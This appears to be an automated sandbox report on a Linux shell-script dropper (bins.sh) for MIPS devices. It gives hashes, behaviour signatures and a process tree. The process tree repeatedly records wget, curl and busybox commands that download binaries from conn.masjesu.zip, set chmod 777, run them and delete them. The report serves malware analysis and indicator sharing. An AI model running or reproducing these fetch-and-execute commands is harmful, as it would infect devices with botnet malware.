Analysis

  • max time kernel
    150s
  • max time network
    96s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21-11-2024 13:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    407eedfd0fc31b79bcc6095f30040ee7

  • SHA1

    2719b6893563784feb6a862fa94b326302684614

  • SHA256

    f7bfdfcb073cff1ac3e6e7850b9143978f8d5732c1c36ed8866b2d96666e203a

  • SHA512

    070764927cbbbdde09de2978a464399a4b14354ac73a6c798e76b7cbf581bca621b09f638e8eb91d8a61498c85d72b454370b56e0134304924a45ecfcdd57262

  • SSDEEP

    192:6Oq+jKfddd9dmHnmx1KGHnmx1kSddd9dD:6Oq+jKfddd9daUSddd9dD

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Reads runtime system information 11 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 32 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          ./ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /bin/chmod
            chmod 777 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • File and Directory Permissions Modification
            PID:738
          • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            ./5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Executes dropped EXE
            PID:739
          • /bin/rm
            rm 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
              PID:741
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:742
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              ./5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
              2⤵
                PID:762
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:774
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:787
              • /bin/chmod
                chmod 777 nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • File and Directory Permissions Modification
                PID:791
              • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                ./nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                • Executes dropped EXE
                PID:793
              • /bin/rm
                rm nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                2⤵
                  PID:797
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:809
                • /bin/chmod
                  chmod 777 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • File and Directory Permissions Modification
                  PID:810
                • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  ./1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                  • Executes dropped EXE
                  PID:811
                • /bin/rm
                  rm 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                  2⤵
                    PID:813
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:814
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:815
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:817
                  • /bin/chmod
                    chmod 777 OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • File and Directory Permissions Modification
                    PID:822
                  • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    ./OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                    • Executes dropped EXE
                    PID:823
                  • /bin/rm
                    rm OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                    2⤵
                      PID:827
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:828
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:839
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:849
                    • /bin/chmod
                      chmod 777 SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      ./SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                      • Executes dropped EXE
                      PID:855
                    • /bin/rm
                      rm SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                      2⤵
                        PID:859
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:860
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:861
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:863
                      • /bin/chmod
                        chmod 777 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • File and Directory Permissions Modification
                        PID:864
                      • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        ./83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                        • Executes dropped EXE
                        PID:865
                      • /bin/rm
                        rm 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                        2⤵
                          PID:867
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:868
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:869
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:871
                        • /bin/chmod
                          chmod 777 FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                          • File and Directory Permissions Modification
                          PID:872
                        • /tmp/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          ./FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                          • Executes dropped EXE
                          PID:873
                        • /bin/rm
                          rm FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                          2⤵
                            PID:875
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:876
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:879
                          • /bin/chmod
                            chmod 777 VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:880
                          • /tmp/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            ./VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                            • Executes dropped EXE
                            PID:881
                          • /bin/rm
                            rm VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/1ZyoVwUEmgs75WXHJ0af9VzwKqa9hmTnsW
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:884
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/1ZyoVwUEmgs75WXHJ0af9VzwKqa9hmTnsW
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              PID:885

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/1ZyoVwUEmgs75WXHJ0af9VzwKqa9hmTnsW

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/VKGgJzRNuzIU5uBZ4bX0dqeTZxy8Rik1oZ

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb